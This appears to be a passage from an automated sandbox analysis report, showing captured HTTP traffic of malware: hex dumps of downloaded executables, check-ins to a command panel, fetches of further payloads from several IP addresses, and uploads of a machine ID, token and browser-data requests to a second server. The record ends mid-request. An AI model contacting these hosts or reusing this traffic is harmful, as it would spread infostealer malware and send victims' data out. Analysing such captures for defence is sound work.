00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6f 67 72 70 74 77 67 00 00 2a 00 00 a0 00 00 00 fe 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6c 6c 62 66 73 70 00 20 00 00 00 a0 2a 00 00 04 00 00 00 38 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:05:04 GMTContent-Type: application/octet-streamContent-Length: 1796608Last-Modified: Mon, 16 Dec 2024 13:43:52 GMTConnection: keep-aliveETag: "67602e98-1b6a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 7a 61 61 7a 79 65 61 00 d0 19 00 00 40 4f 00 00 c6 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 77 75 69 74 73 72 00 10 00 00 00 10 69 00 00 04 00 00 00 44 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 48 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:05:11 GMTContent-Type: application/octet-streamContent-Length: 2776576Last-Modified: Mon, 16 Dec 2024 13:42:20 GMTConnection: keep-aliveETag: "67602e3c-2a5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6f 67 72 70 74 77 67 00 00 2a 00 00 a0 00 00 00 fe 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6c 6c 62 66 73 70 00 20 00 00 00 a0 2a 00 00 04 00 00 00 38 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:05:16 GMTContent-Type: application/octet-streamContent-Length: 1796608Last-Modified: Mon, 16 Dec 2024 13:43:52 GMTConnection: keep-aliveETag: "67602e98-1b6a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 7a 61 61 7a 79 65 61 00 d0 19 00 00 40 4f 00 00 c6 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 77 75 69 74 73 72 00 10 00 00 00 10 69 00 00 04 00 00 00 44 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 48 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 31 32 42 37 35 42 30 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB12B75B05C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016127001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016128001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 45 45 44 33 45 42 34 36 43 38 34 36 35 38 35 34 32 32 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 48 43 42 47 43 42 46 48 49 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="hwid"6CEED3EB46C8465854224------ECGHCBGCBFHIIDHIJKFBContent-Disposition: form-data; name="build"stok------ECGHCBGCBFHIIDHIJKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 43 2d 2d 0d 0a Data Ascii: ------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------EGDGIIJJECFIDHJJKKFCContent-Disposition: form-data; name="message"browsers------EGDGIIJJECFIDHJJKKFC--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 2d 2d 0d 0a Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="message"plugins------HIJEGIIJDGHDGCBGHCAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCFIDAKJDHIECBFCBKKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 46 49 44 41 4b 4a 44 48 49 45 43 42 46 43 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 46 49 44 41 4b 4a 44 48 49 45 43 42 46 43 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 46 49 44 41 4b 4a 44 48 49 45 43 42 46 43 42 4b 4b 2d 2d 0d 0a Data Ascii: ------DHCFIDAKJDHIECBFCBKKContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------DHCFIDAKJDHIECBFCBKKContent-Disposition: form-data; name="message"fplugins------DHCFIDAKJDHIECBFCBKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFBGDGHIIJJKEBKJDBHost: 185.215.113.206Content-Length: 6403Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 32 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016129001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="token"2f3aeb0d14d335cedc8fc3bdd6f79d7f9e1967e2d22d3dc0d2565876b5512cf1aff734e0------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBAEBFIIECBGCBGDHCAFContent-Disposition: form-data; name="file"------EBAEBFIIECBGCBGDHCAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016130001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 61 65 62 30 64 31 34 64 33 33 35 63 65 64 63 38 66 63 33 62 64 64 36 66 37 39 64 37 66 39 65 31 39 36 37 65 32 64 32 32 64 33 64 63 30 64 32 35 36 35 38 37 36 62 35 35 31 32 63 66 31 61 66 66 37 33 34 65 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; 